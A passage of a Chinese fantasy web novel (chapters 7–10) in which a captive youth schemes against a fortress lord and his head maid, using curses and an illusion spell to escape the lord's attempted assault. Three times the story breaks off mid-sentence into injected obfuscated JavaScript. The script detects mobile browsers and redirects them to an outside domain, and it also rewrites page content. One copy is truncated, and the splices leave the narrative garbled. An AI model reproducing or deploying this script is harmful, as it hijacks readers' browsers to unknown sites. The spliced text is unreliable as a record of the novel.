如果他能成功留下，将来被带进主城，他的行为举止会关系到少爷的颜面，女仆长势必要更加留心。 就在女仆长这样想时，忽听夏维说道：“我可以按照心意留下，是这样吗？” 女仆长顿了顿，方才点头：“是的。” “那好，我要这些宝石，全部。”夏维手指宝石商人，准确来说，是摆放在他身前的箱子。 一改之前的模样，夏维故意表现出贪婪、浅薄和短视。 或许有些小聪明，掌握一些珍贵的知识，却容易得意忘形，甚至是张狂，毫不掩饰心中的欲望。 容易令人小觑，却也更能放心。 女仆长看向他，嘴角绷紧。想到卡萨拉的命令，终究抬起右手，示意商人留下全部宝石。 “按照他说的，全部留下。”她说道。 “感谢您，慷慨的贵人！”宝石商人大喜过望，好话一股脑出口，谄媚得近乎卑微，但他毫不脸红，“只有您才配得上这些珍贵的宝石。不，只有最昂贵的宝石才有资格装点您，您是伟大卡萨拉的眷顾，您……” “行了。”女仆长出声打断他，难得表现出不耐烦，“拿走你的金币，别在这里炫耀你的口舌。” “是、是。”商人诚惶诚恐弯腰，捧起装满金币的袋子，喜悦和恐惧掺杂，脚步飞快走出城堡。 除了宝石，夏维没再留下任何东西。 看上去爱财，实则恰到好处。 商人们失望离开，女仆长召唤两名侍从：“抬去少爷隔壁的房间。” 下一刻，她迎上夏维的目光，解释道：“那里是你的卧室。” 尽管夏维从未走出卡萨拉的卧室，女仆长仍为他安排了房间。 夏维对此没有异议。 他没有同女仆长交谈，越过她的肩膀，迈步登上二楼。 安娜紧跟在他身后。 尼可看向女仆长，得到允许，也迈步跟了上去。 夏维单手划过楼梯扶手，脚步不紧不慢，脸上没有太多表情，没人知道他此时真正的心思。 唯有他自己明白，侍从手中的箱子里有他最需要的东西。 灵石。 夹杂在宝石之间，丝毫不起眼，微弱的灵气散溢，破天荒使夏维心跳加速。 他难以想象，这里竟然也有灵石。 他需要它们！ 如果数量足够多，他或许有机会修复身体的暗伤。 那个商人说，这些宝石来自烈焰岛，开采自龙族的矿山。在成功脱困之后，他必须前往一探究竟，越快越好。 7.第七章 离开村庄，被掠来要塞至今，除了卡萨拉的卧室和城堡大厅，夏维首次踏足另一个房间。 房间面积适中，床、桌、椅等家具一应俱全。 地面铺着长毛地毯，墙上垂落织锦和挂毯。穹顶悬挂点燃的蜡烛，不分白天黑夜闪烁光亮。 房间装饰风格一目了然，和卡萨拉的卧室如出一辙。 两只箱子被抬进室内，女仆长走向正对窗户的墙壁，掀起挂毯，露出一扇小门。 门上没有镶嵌把手，只有隐藏在花纹中的凹槽。 女仆长熟练地压下凹槽中心，门扇应声开启，现出门后狭窄幽暗的空间，一座小仓库，专门用来存放珠宝等贵重物品。 仓库内立有金属架，全部钉在墙上。 相比木架，金属材质不容易腐朽，只是容易锈蚀，需要侍从和女仆格外注意。 “宝石放入这里，它们全部属于你。”女仆长侧身站在一旁，维持掀起挂毯的姿势，“这个房间内的一切你都可以自由支配。只要少爷宠爱你，你就能继续拥有这一切。” 女仆长的话很不客气，甚是有些冒犯。 夏维站在唯一一张木桌旁，侧头看向桌上的烛台，黄金质地，基座呈圆形，三根支架堪比倒悬的利刃，撑起白色的蜡烛。 女仆长话音落地，他忽然挥手扫过桌面，烛台和一些小巧的摆设悉数掉落，陷入地毯之中，没有发出任何声音。 “你在做什么？”女仆长皱眉。 “我不喜欢。”夏维终于看向她，嘴角缓慢翘起，多日顺从之后，首次展露刺人的锋芒，“换掉它们。” “你确定？”女仆长锁紧眉心，面容愈发严厉。身后的女仆面色微变，她们十分清楚，这是蕾拉女仆长发怒的先兆。 夏维却不以为然。 他单手按压桌面，手指轻轻敲击，好整以暇地打量四周，环顾整个房间。 “我当然确定。” 话落，他离开桌旁，迈步走过房间，一边走，一边推倒装饰物，或是扯掉挂毯。 他的动作肆无忌惮，和多日前的沉静判若两人。 “既然这里属于我，就要让我看得顺眼。我不喜欢它们，全部换掉。”夏维提着挂毯一角，手指松脱，任由昂贵的毯子落在脚下。 他直视女仆长，嘴角挂着挑衅的弧度，抬脚踩在上面，鞋底用力碾压，如同碾压女仆长的忍耐底线。 “你应该明白，自己在做些什么。”女仆长胸口起伏，银色的胸针闪烁微光，扭曲的巨龙似在光中咆哮，显露出狰狞姿态。 夏维嗤笑一声，压根不将对方的怒火看在眼中。 他姿态随意，笑容充满挑衅意味，就像是在说：他清楚自己在做什么，对方也知道，那又如何？ 既然他是要塞长官的情人，那他就有资格任性。 恃宠而骄，一朝登高忘乎所以，只能像菟丝子一样攀爬山岩，十分符合那位贵族少爷的期待，难道不是吗？ “我在表达喜好。”夏维扯掉最后一张挂毯，转向女仆长，笑容恶劣，却也该死的迷人，“你会满足我的，毕竟这是卡萨拉大人的吩咐。” 女仆长双手攥紧，指尖扣入掌心，强压下心中的怒火。 她的瞳孔微微收缩，里面清晰映出夏维的影子。视线冰冷刺骨，残虐暴力，像某种爬行动物。 “是的，我当然会。”她昂起下巴，迈步走向房门，与夏维擦身而过时，似在提醒，又似在威胁，“年轻人，你最好祈祷少爷的喜爱能维持更多时日。” “我会的。”夏维微笑回应。 女仆长抿紧嘴唇，终究没再多言。 夏维却主动叫住她，提出另一个要求：“安娜，我希望她留在这里。在卡萨拉大人召唤我之前，我希望她能陪伴我。” “你在得寸进尺。”女仆长倏地转过头，表情阴冷。 “不，我认为这是合理要求。”夏维坚持主张，寸步不让。 两人短暂对峙，在女仆和侍从惊骇的目光中，女仆长冷笑一声：“很好，你会得偿所愿。” 话落，她迈步走出房门。 正如夏维所言，卡萨拉少爷的情人有任性的资格。 没有少爷的命令，她不能惩戒他，不能鞭笞他，不能以教训仆人和奴隶的手段驯服他。 那么，就随他任性好了。 女仆长停在门外，吩咐左右：“遵照他的要求，替换房间中的一切。” 女仆和侍从匆忙低头，衣领已经被冷汗浸湿。 安娜的表现还算镇定。 她不确定夏维的真实意图，但不会给对方拆台，而是会主动配合。在女仆长离开后，她无视女仆们刺人的视线，高高抬起下巴，趾高气扬地走进室内。 一人得道，鸡犬升天。 她没有学过这句话，却能展现得淋漓尽致。 侍从们移走地上的毯子，重新将家具归位。 侍女们在房间内来来回回，摆设新的装饰品，行动间尽可能放轻手脚，如同在表演一场默剧。 夏维坐在唯一没有变化的四柱床上，左腿踏在床边，右腿自然垂落。他双臂交叠压着膝盖，半张脸藏在手臂后，只露出挺直的鼻梁和漆黑的眉眼。 这个姿势让安娜想起谷仓前的往事。 所不同的是，夏维脚下的不再是木桩和草堆，而是堆满了宝石的箱子，满到几乎要溢出来。 “主人。”安娜走近床边，视线扫过众人，改变对夏维的称呼，“你还好吗？” “我很好。”夏维的声音有些闷，他没有看向安娜，而是看着侍从和女仆在房间中忙碌，看着他们频繁进出，很快让房间大变模样。 最后一条挂毯垂落，新的烛台摆上桌面，蜡烛被点燃。 夏维满意了。 他命令所有人离开，只留安娜在身边。 侍从走得干脆利落，女仆们略显犹豫，但有女仆长的先例，她们不可能和夏维对抗，只能提起裙摆行礼，倒退着离开房间。 房门没有关闭，半敞开，女仆们就守在走廊。 这是她们的职责，无论如何不会让步。 安娜看一眼门口，其后靠近夏维，弯腰压低声音：“你和那个女仆长对抗，是有什么打算？你在故意激怒她？” “是，我是故意的。”夏维放下支起的左腿，双手结印，两人的音量骤然压低，房门外的女仆只能听到模糊的声响，无法捕获到半个字。 “如果她告诉那个贵族……”安娜面露担忧。 “我是一个玩物，贵族老爷一时兴起的玩物。”夏维答非所问，侧头看向安娜，眼底看不出丝毫阴霾，却莫名使人脊背发凉，“我可以小人得志，可以肆意张扬，可以因之前的种种故意找她麻烦，不会受到任何惩罚。相信我，安娜，人性很复杂，太过聪明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076842|179159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和识时务反而会引来警惕。” 安娜皱眉思索，她不能完全明白，但愿意相信夏维。 “你仍需要小心。”她说道，“贵族身边的仆人，尤其是像女仆长这样的身份，他们很不好惹。” “我会注意。”夏维点点头，随即话锋一转，“我有事需要你去做。” “什么？”安娜立刻严肃表情，弯腰靠近他。 夏维抬眸看向门外，能感知到窥伺的目光。 他单脚踢开箱盖，从里面抓出一把又一把宝石，抛洒在床铺和地面，像是在得意炫耀。 “安娜，设法走出这座城堡。” 宝石抛出彩光，接二连三落地，如同降下一场彩雨。 夏维精准地接住几枚，内中蕴含的灵力被他当场吸收，流入体内经脉。 于他的伤势而言，些许能量不过杯水车薪。好在终究找对方法，看到了治愈的希望。 “找到要塞的四角，然后，将这些埋进土里。”夏维从口袋中取出裁剪的羊皮纸，来自卡萨拉的书房。 要塞长官过于傲慢，天性自负，夏维当着他的面取走羊皮纸，在上面写写画画，留下陌生的字体和扭曲的图案，被当做是一场游戏。 卡萨拉非但没有阻止他，还任由他将这些羊皮纸带出房间。 羊皮卷被裁切成小块，每一块只有孩童的巴掌大小。 上面的墨色褪去，呈现血红的颜色，像是农神的血眼，却比血眼更具不祥和阴暗气息。 “这是什么？”安娜下意识问道。 “什么都别问，安娜，照我说的去做。”夏维倾身靠近安娜，气息拂过她的耳畔，声音中充满蛊惑，“这是我们逃离的关键。” 安娜抬手捂住耳朵，侧头看向夏维，捕捉到黑瞳中一闪而逝的红光。 是错觉吗？ 她不确定。 此时此刻，她仿佛看到夏维更真实的一面，不是走出谷仓的害羞少年，也不是被骑士抢掠的战利品。 他是那个一剑碎裂强盗的存在，强悍到能劈开战马，让恶徒们一夕毙命。 她攥紧手中的羊皮纸，用力点点头，声音坚定，如同发下誓言：“我会照你说的去做。” “不要勉强，尽量保全自己。如果被发现，把一切推到我身上，就说是我的安排。”夏维说道。 “秋收时会祭祀农神，本就要焚烧祭品。我可以说这是对神明的供奉，只要在里面包几颗大麦。”安娜卷起羊皮纸，利落塞进领口，单手拍了拍，“我会小心，不会让人抓住把柄。” “咳！”夏维咳嗽一声，不太自然地转过头。 他清楚长裙没有口袋，衣袖也很窄，衣领至前胸是最好的藏匿位置。 只是他仍有些不自在。 看到他的模样，安娜不禁想起之前的种种，心头的阴霾短暂散去，笑容重新变得明媚。 “夏维，你总是这样害羞，不成的。”她双手叉腰，故意挺起胸脯，“你要懂得赞美姑娘。无论相貌还是身材。” 夏维看着她，一时间哑口无言。 “你是对的。”他说道。 两人对视一眼，同时弯起眼眸，看着彼此的样子都十分有趣。 宝石闪烁微光，能量缓缓流入夏维体内。 浓重的阴霾悄然散去，前方的道路出现曙光，两人都感到放松，久违的现出笑容，真实且愉悦。 8.第八章 城堡二楼，要塞长官房间内，卡萨拉倚靠在桌前，修长的手指夹起一条鲜肉，逗弄着架上的信鹰。 阳光落入室内，信鹰的羽毛覆上一层暗金。 锋利的鸟爪抓住鲜肉，弯钩状的鸟喙用力撕扯，几滴殷红坠落，整条鲜肉被吞噬入腹。 待信鹰振翅飞出窗外，卡萨拉转过身，展开一张手帕，慢条斯理地擦干净手指，随即丢在一旁。 一名侍从站在门边，始终低垂着头，像是一尊雕塑，等待卡萨拉的吩咐。 “很有趣。”得知夏维和女仆长的冲突，卡萨拉没有发怒，反而感到十分有趣，“一名外族能在帕托拉生存，自然不会愚蠢。足够识时务，有些小聪明，也渴望财富和地位，至于盛气凌人，”卡萨拉笑了笑，“这没什么不好。” 他没有刻意安抚女仆长，完全没必要。 他相信蕾拉能处理好。 “下去。” “是。” 侍从退入走廊，自外合拢房门。 卡萨拉转过身，侧身看向窗外，之前的念头再次涌入脑海，始终萦绕不去。 足够漂亮，也有头脑，能握在掌心，他为什么要压抑自己的渴望？ 他可以拥抱那个美人，或许就在今夜。 “战利品，理当是属于我的。” 困扰他多日的症结一夕解开，卡萨拉心情畅快，重新铺开羊皮纸，提笔写下给父亲的回信。 信鹰飞回室内，静静等候在一旁。 待装有信件的卷筒绑到腿上，这只猛禽歪头蹭了蹭卡萨拉的手指，再次振翅飞离，几息间远去，化作蔚蓝晴空下的一个黑点。 卡萨拉站在窗前，双手支在窗框上，极目石崖城方向，眸光晦暗不明。 一阵敲门声打断他的思绪。 “进。” 门轴转动声响起，一名骑士走入房间，头盔抱在臂弯中，铠甲上沾染灰尘。一条手指粗的伤疤横过脸庞，非但没有破坏他的俊朗，反而更添几分狂野。 “大人，边界出现状况。”来人开口，道出外出巡逻时的发现，“有马队在村庄和马场附近出没，他们来去如风，速度很快。两支小队正在追踪，目前尚未抓到一人。” “无法确定身份？”卡萨拉回身走到桌前，手臂搭在高背椅上，看向对面的骑士，“没有任何线索？” “我很惭愧，大人。”骑士低下头，棕色的短发覆过两耳，“根据马蹄印猜测，他们很可能来自狂风城。” “又是狂风城。”卡萨拉轻击椅背边缘，修长的手指交替落下，“袭击翡翠峡谷的雇佣兵也是来自那里。” “是的，大人。”骑士点头，给出肯定回答。 卡萨拉停止敲击，指尖划过椅背上的花纹，锋利的指甲擦过金属，发出刺耳的刮擦声。 片刻后，他结束思考，果断下达命令：“召集骑士团，我亲自去抓住这批杂碎。” “遵命！”骑士当即领命，右手握拳锤击胸口，随后退出房间，下去执行要塞长官的命令。 不多时，钟声响起，响彻要塞上空。 广场上，马僮们迅速放下草料和水桶，两手擦过上衣，有序打开马厩的门，为骑士们牵出战马。 受到召集的骑士熟练地穿戴铠甲，仆人为他们系紧腰带，套上护手，恭敬地捧起头盔和武器。 卡萨拉在房间中穿戴完毕，没有立刻离开城堡，而是走进隔壁房间，大步走向坐在床边的夏维。 他脚步不停，一阵风般掠过室内。 不给对方反应的时间，大手拉起惊讶的少年，单臂搂进怀里，力气大得惊人，像是要勒断怀中人的骨头。 “等我回来。” 渴望焚烧他的理智。 杀戮和战斗无法彻底满足他，他渴求不一样的东西，正如怀中的少年，属于他的珍藏。 卡萨拉放开夏维，手指划过少年的脖颈，两指钳住他的脸颊，缓慢低下头，气息拂过夏维的鼻尖，终究没有落下。 他的声音极低，附在夏维耳畔，带着别样的炙热：“乖一点，等我回来，我会给你一切。” 话落，他收回手，熟练地戴上头盔，大步向外走去。 房门关闭同时，夏维转身走向窗口。 他站在窗前，单手覆上窗框，另一只手反握一把匕首，刀刃锋利，缠绕不祥的黑光。 这把匕首能轻易划开卡萨拉的脖子，假使他再靠近半寸。 骑士队伍迅速聚集，战马轮换抬起前蹄，发出暴躁的嘶鸣。马僮们拼命拽住缰绳，为战马配齐马具，一个个满头大汗，唯恐失手。 骑士们陆续上马，混乱的情况才得以好转。 夏维伫立窗前，俯瞰骑士们列队，三人一排，十数排成列。 众人皆穿着银色的锁子甲，头盔上装饰羽毛。武器以长枪和重剑为主，部分人背负弓箭。 所有骑士的战马都配有马铠，马背一侧挂着圆盾。 卡萨拉的身影出现在队伍最前方。 他猛一拽缰绳，战马人立而起，长枪被他单手掌控，枪身轻击盔甲，引发骑士团共鸣。 “剿灭入侵边境的害虫！” “杀光他们！” 调转马首之前，卡萨拉仰望城堡方向，隔空锁定窗后的身影。 冰蓝色的眼睛浮现一抹笑意，其后拉下面罩，肃杀的气势笼罩全身。 “出发！” 要塞大门敞开，骑士们策马冲出。 马蹄声犹如奔雷，银色的队伍堪比洪流，向犯境者出没的地点飞驰而去。 骑士团离开后，要塞大门关闭。 夏维站在二楼，清楚看到广场上的人群散去。 马僮返回马厩，铁匠拾起换下的马具，一群仆人或抬或扛，手中提着箱笼和工具，说笑着走到一旁。 几名女仆急匆匆穿过街道，她们身后尾随三四辆大车，车上是麦子、土豆、熏肉和大桶的酒。 身后传来声响，夏维很快离开窗前，看向敞开的房门。 女仆长出现在门口，指挥侍从搬进来几只木箱。箱盖敞开，里面是适合夏维的衣物、靴子，以及搭配的皮带和首饰。 此外，还有两本硬壳书。 书很厚，书脊足有四指宽。书皮是金属质地，封面有凹槽，嵌入古老的文字，边缘包围葡萄藤状的雕刻图案。 夏维扫过一眼，从书名推断，两本都是关于帕托拉的史诗。 “少爷吩咐，你有资格阅读书籍。”女仆长依旧严肃，语气更加严厉，“你很聪明，能认识字，你最好不要让少爷失望。” 话音落下，她亲自捧起装有书籍的箱子，送到夏维面前。 “聪明人最好懂得分寸，我想你明白。”她平举起箱子，两条手臂没有丝毫颤动，“少爷宠爱你，你可以任性妄为， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087553|179159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以肆意张狂。你要牢牢记住，必须让少爷一直喜欢你，否则，这一切都会离你而去。” 这番话既是劝诫，也是警告。 夏维没有接过箱子，而是从箱中取出两本书，随意翻开几页，一目十行扫过，对女仆长说道：“我知道了。” 同样四个字，他曾对卡萨拉说过，如今送给女仆长。 “你的名字是蕾拉，对吗？”他从书页中抬起头，微笑着歪了下头，双眼漆黑，嘴角上翘，格外的漂亮。 女仆长却突觉一阵寒意。 一瞬间，她产生某种幻觉，仿若置身冰天雪地，耳畔尽是鬼哭狼嚎。 低头望去，脚下赫然是万丈深渊，无数的恶鬼互相撕扯，苍白的鬼手伸向她，似要将她拽入地狱。 “啊！”女仆长惊呼一声，仓惶向后退，不慎撞上身后的女仆。 女仆不明所以，就见女仆长表情惊恐，脸色惨白如纸。 对面的少年则笑容清浅，漂亮的瞳孔中映出女仆长狼狈的模样，如同在看一场好戏。 “蕾拉夫人，你怎么了？”女仆搀扶住女仆长，双手托着她的手肘，关心询问。 女仆长从幻觉中苏醒，猛然抬起头，惊愕看向对面的少年。 夏维已经收起笑容，转身走向床边，坐下来翻阅书籍。 女仆长的目光迟迟不肯移开，他终于抬起头，满脸无辜，表情中带着困惑，貌似在问：怎么了？ 女仆长怀疑地盯着他，目带审视，心中惊疑不定。 夏维神色如常，没有露出丝毫破绽。 他不担心女仆长会对他如何，一来没有证据，二来，卡萨拉不在期间，没人能随意处置他。 这是女仆长亲口所言。 也是亲手递给他的刀。 虽然不能让她马上消失，但他可以让对方吃点苦头，权当是对多次轻视和冒犯的回敬。 相比以往，他已经足够宽宏大量。 夏维看着女仆长，书籍覆盖下，掌心隐去一枚符咒。 一种小把戏，能让目标陷入噩梦，严重到随时随地产生幻觉。意志薄弱一些，不需要多久就会发疯，直至在疯癫中死去。 以他目前的身体状况，正好合用。 “蕾拉夫人？”女仆再次出声，视线逡巡在女仆长和夏维之间，充满了不确定。 “无事。”奇怪的感觉消失，令人恐惧的景象不复存在，女仆长迅速打起精神。明知事情存在古怪，她也没有当场追究。 夏维是卡萨拉的情人，在卡萨拉放手之前，没人能轻易触碰他，审讯和处置更无可能。 “少爷回来之前，请你留在房间内，有任何需要可以召唤女仆。”女仆长的脸色很难看，下意识放低姿态，语气比之前客气许多。 “我会的。”夏维点头。 得到满意回答，女仆长没有继续停留，带着女仆离开房间。 这一次，她亲手合拢房门。 留下一人在门外听候吩咐，女仆长转身离开。 走出两步，她忽然停下，回头凝望紧闭的门扉，想到方才的经历，从未有过的疑虑涌上心头，始终挥之不去。 这个黑发少年究竟是什么来历？ 必须确定，他究竟来自什么种族。 “必须提醒少爷。” 下定决心，女仆长收回视线，心事重重穿过走廊，没有再次回头。 9.第九章 入侵边塞的雇佣兵极端狡猾。 这行人来去如风，罕见在同一地点久留，往往追兵刚至，他们就跑得无影无踪。 卡萨拉率领骑士团一路追逐，途经多座马场和村庄。 其中两座马场遭到严重破坏，三座村庄被洗劫，一座村子还被放火，损失不如翡翠峡谷的村庄巨大，但也足够让村人们恨得咬牙切齿。 傍晚时分，骑士团又抵达一座马场。 这座马场规模中等，由五十名士兵和马夫守卫，饲养百余匹战马。 现如今，马场外围的栅栏遭到破坏，靠近北面的大门被吊索拽倒，栅栏也成片断裂倒塌。 卡萨拉一行人抵达时，马场众人正忙着清点马匹，修复栅栏。 就算是脾气再好的人，此时也是骂骂咧咧。 众人或是用力拽住缰绳，安抚受惊的战马；或是拿着工具维修栅栏和木门，一边干活，一边满口脏话。 “那群该死的恶棍！” “天杀的强盗，匪徒！” “一群下地狱的杂碎！” “都该被绞死。不，他们该被斧子砍头！” 马夫们怒不可遏，尤其是找到受伤的战马，看到它们被故意砍断前腿，不得不红着眼睛结束它们的生命。 瘸腿的马无法站立，再不能奔跑，它们是注定活不下去的。 “别让我抓住他们！”一名马夫举起斧头，紧咬住后槽牙，脸颊因愤怒抖动。斧头落下时，鲜红的血向上飞溅，泼洒在他脸上，使他的样子格外狰狞，如同恶鬼。 马蹄声持续靠近，众人迅速警戒。 看到飞驰而来的银甲骑士，望见头盔上飘扬的长羽，他们才短暂松口气，随即又变得神经紧绷。 马场受损，战马损失近二十匹，却没能拦截入侵者，这无疑是一场大错。 需要有人承担错误。 很可能会因此失去性命。 马场管事脸色变了几变，望见银色洪流停在不远处，卡萨拉从队伍中走出，更是眼前一黑，几乎要当场晕过去。 不，不能晕倒！ 否则真的会死！ 他用力咬破舌尖，突来的刺痛让他打了个哆嗦。 前方的骑士扬起马鞭，不需要出声，管事立即快步走过去，近乎一路小跑。 停在卡萨拉的战马前，管事双手拢在身前，深深在马头前弯腰。 破风声擦过耳畔，一记鞭子抽在他身上，管事不敢闪躲，硬生生扛住，当场疼出满头大汗。 “说吧。”冰冷的声音自头顶传来，却让管事松了一口气。 要塞长官既然降下鞭笞，证明他的脑袋暂时保住，不会和脖颈分家。 “那些外来的雇佣兵，他们在黎明前出现，守夜巡逻的人没有察觉，他们甚至没有举起火把，分明能在黑暗中视物。”管事没有故意夸大，全是实话实说，“在破坏栅栏时有马受惊，他们的行踪才被暴露。” 回忆起之前的战斗，管事压下恐惧，因愤怒和仇恨咬牙切齿。 “他们的数量并不多，至少不如马场中的人多。但是，他们的速度太快，武器也很锋利，我怀疑……” “怀疑什么？” “他们之中很可能有巫师，或者是擅长隐匿踪迹的蛮族。”管事说道。 “你们和他们战斗，没有留下一人？” “不，有的！”管事立刻回身招手，几名马夫小跑过来，带来了入侵雇佣兵的尸体。 显而易见，这具尸体承受了马场众人的愤怒。 纵然全力拼凑，依旧显得十分零碎。 一名骑士翻身下马，检查入侵者的皮甲、腰带和武器，很快得出结论：“狂风城的雇佣兵。” “果然是他们。”卡萨拉的脸庞被面罩遮挡，只有一双冰蓝色的眼睛显露在外，森冷的眸光令人胆寒，“和袭击翡翠峡谷的那群是同伙？” “应该来自不同族群。”骑士说道。 说话间，他拔出佩剑，在地上刻画三角，上面叠加一只眼球。 图案成型的一刻，诡异的一幕发生，地上的尸体迅速干瘪，血肉塌陷，连骨头都变得粉碎。 与之对应，一枚血眼升空，在日暮交替之际睁开。 眼球缓慢转动，锁定一个方向。 “在那里。” “追！” 骑士跃身上马，银色的洪流急速向前，直扑血眼指引的方向。 隆隆的马蹄声穿越边境，火红的日轮沉入地平线。 残阳的余晖覆在骑士身上，为骑士和战马镀上一层血色光影。 在一座边境村庄，骑士团咬住目标。 雇佣兵们再无法逃脱，刀锋反射冷光，一场杀戮即将开始。入侵边境的雇佣兵再不可能逃脱，注定沦为刀下亡魂。 晚霞湮灭，黑夜降临。 未见皎洁的月光，反而有大团乌云聚集天空。 石崖领被乌云笼罩，天地间一片漆黑，伸手不见五指。 骑士团出征未归，依照惯例，边境要塞在入夜后关闭，唯有钟楼下点燃火把。 缠绕火把的布条浸满海兽油脂，能够燃烧整夜，雨水也无法熄灭。 要塞内静悄悄，除了守夜的侏儒，其余人多去休息。 马厩中鼾声四起，连马僮都钻进草堆，和看管的战马一同入眠。 黑石城堡内，夏维没有再走进卡萨拉的卧室。 要塞长官离开期间，他被要求留在自己的房间中，依旧不能走出城堡，活动区域小得可怜。 房间内烛火通明，与白昼并无区别。 厚实的窗帘垂落地面，床幔掀开一角，夏维赤脚踩在地上，悄无声息穿过室内，站在窗前，双手拉开窗帘。 窗外骤起狂风，乌云堆积天空，昭示一场大雨即将来临。 于秋收而言，这是个糟糕的天气。 但对夏维来说，更利于推动他的脱身计划。 少年的身影伫立在窗后，单薄的衬衫自然垂落，勾勒出略显纤瘦的腰肢。 夏维抬起右手，掌心覆在窗上，手腕上的血痕再次浮现，有生命一般交错穿梭，某一刻停住，组成一枚奇特的团案，覆盖他的手背。 “快了，就快了。” 夏维自言自语，抬头望向窗外，云后隐有电光闪烁。 闪电沿着城堡边缘砸下，紫蓝色的电光划过窗前，与室内的烛火辉映，极端炫目，却也无比骇人。 雷声轰鸣，银蛇狂舞。 电闪雷鸣持续数个小时，雨水却始终不曾落下。 天明时分，一只信鹰飞入城堡，带来一封秘信。 很可惜，卡萨拉不在要塞，它只能放下信件，栖息在黄金打造的鹰架上，等待这座城堡的主人归来。 隔壁房间内，夏维用过早餐，开始阅读卡萨拉给他的书籍。 书很厚，记录帕托拉平原的历史。 大部分语句读起来十分晦涩，像是某种预言和史诗的结合体，朦朦胧胧，令人难以捉摸。 夏维却读得津津有味。 再见女仆长，他表现得十分安静，没有针锋相对，乖巧得近似虚伪。 女仆长不确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我会遵守规矩。”强压下心中激动，安娜低下头，表现得十分顺从，这令女仆长颇为满意。 接下来数日，要塞内风平浪静。 安娜完成夏维的叮嘱，将裁剪的羊皮纸埋设在不同地点。过程中为取信女仆，她认真完成一场祭祀，祭品包括大麦和她自己的血。她没有将具体细节告诉夏维，只为避免对方担忧。 日暮时分，安娜给夏维送去晚餐，并告知他事情完成。 夏维撕开餐盘中的面包，叮嘱道：“不要再去那些地方，时机来临，我会通知你。” “好。”安娜点点头，坐在夏维腿边，吃下属于她的那份面包和熏肉。 今夜的一切都很寻常，与前几日并无区别。 夜深之时，夏维放下阅读至末页的书籍，拉下床幔入睡。 踟蹰许久的大雨终于落下，伴随着雷鸣闪电，昭示一个不平静的夜晚。 雨水滂沱中，要塞大门敞开，外出的骑士团冒雨归来。 冰冷的雨水冲刷过全身，仍冲不去弥漫在战马周围的血腥味。 坚硬的马蹄踩踏泥浆，骑士的马背上挂着头颅，马后拖拽一串人影，他们是战利品和俘虏，雇佣兵之外，还有三名少见的蛮族。 钟声在暗夜中敲响，穿透雷声和雨幕。 夏维在睡梦中惊醒，急促的脚步声穿过走廊，下一刻，他的房门被推开，一道身影闯入室内，身上犹带着冰冷的水汽。 卡萨拉摘掉头盔，单手耙梳过凌乱的长发。 他一步步逼近床尾，同时解开身上的铠甲，随意丢掉长剑和挂着水珠的腰带。 床幔被掀开，一只冰凉的大手隔着毯子扣住夏维的脚踝，在白皙的皮肤上留下醒目的淤痕。 冰蓝色的瞳孔在烛光下变形，锁定近处的少年，如同饥饿许久，急于放纵食欲的野兽。 10.第十章 “大人？” “我来收获战利品。”卡萨拉欺近夏维，宽阔的肩膀覆下暗影。单手扣住夏维的肩膀，牢牢钳制住他，“你早该属于我。” 声音因贪念变得沙哑，急躁且危险。 大手移向夏维的领口，粗暴地扯断领扣，冰冷的气息随之降下。 夏维的瞳孔骤然变色，漆黑的双眼染上血红，一抹红痕在眉心浮现，形似殷红的泪珠。 “伊戈·卡萨拉。”他的声音在黑暗中响起，轻柔缓慢，如同绵密的丝网，纠缠住卡萨拉的灵魂。 锋利的匕首滑入夏维掌心，抵住卡萨拉左额角。 刀刃锋利无比，血痕顺着眼尾滑落，尖锐的刺痛袭来，恍如被冰锥凿进大脑，卡萨拉的动作顿时僵住。 他猛然抬起头，对上夏维的眸子，表情充斥不信和震怒。 这是一个错误。 仅仅一瞬，他的神经陷入呆滞，目光涣散，迷失在染血的瞳孔中，仿佛失去了灵魂。 夏维推开卡萨拉，任由后者滚落在床下。 随着一声钝响，卡萨拉仰倒在地，一动不动，活似一具会喘气的傀儡。 “真可惜，你还不能死。” 夏维单手拉拢衣领，从床上站起身，俯视地上的男人，眸光阴晴不定。 片刻后，他抓住男人的头发，将他从地上提起来，两指并拢点在他的额心。 “幻梦。” 一场虚伪的梦境，美妙的场景，映射内心最深处的渴望。 贪婪、放纵使人沉醉。 陷入虚假的欢愉，在迷乱中难以自拔，永无止境。 正道唾弃的手段，却是无数人梦寐以求。明知危险仍泥足深陷，即使会永远沉入梦境，再也无法苏醒。 血纹缠绕白皙的手腕，延伸过手背，包裹住带着凉意的手指。 夏维的额角冒出细汗，灵力消耗太多，他必须马上停手。 所幸梦境已成。 无法维持更长时间，正好切合他目前的需要。 卡萨拉被丢回地上，紧闭双眼，表情不再呆滞，身体完全放松。 夏维看着他，虽然很不情愿，仍不得不亲自动手除掉他身上剩余的铠甲，扯掉雨水打湿的内衬，将他安置在床上。 卡萨拉的呼吸突然急促，面色潮红，显而易见，他正沉浸在美妙的梦中。 夏维不想折磨自己的耳朵和眼睛，干脆起身走向窗户，单手一撑跃上窗台，肩头贴上冰冷的玻璃，侧头眺望夜色下的要塞。 “还要几天，只需要再忍受几天。” 雷声轰鸣，暴雨持续不断，湮灭少年的呢喃。 偶尔有闪电爬过，划开漆黑的夜空。 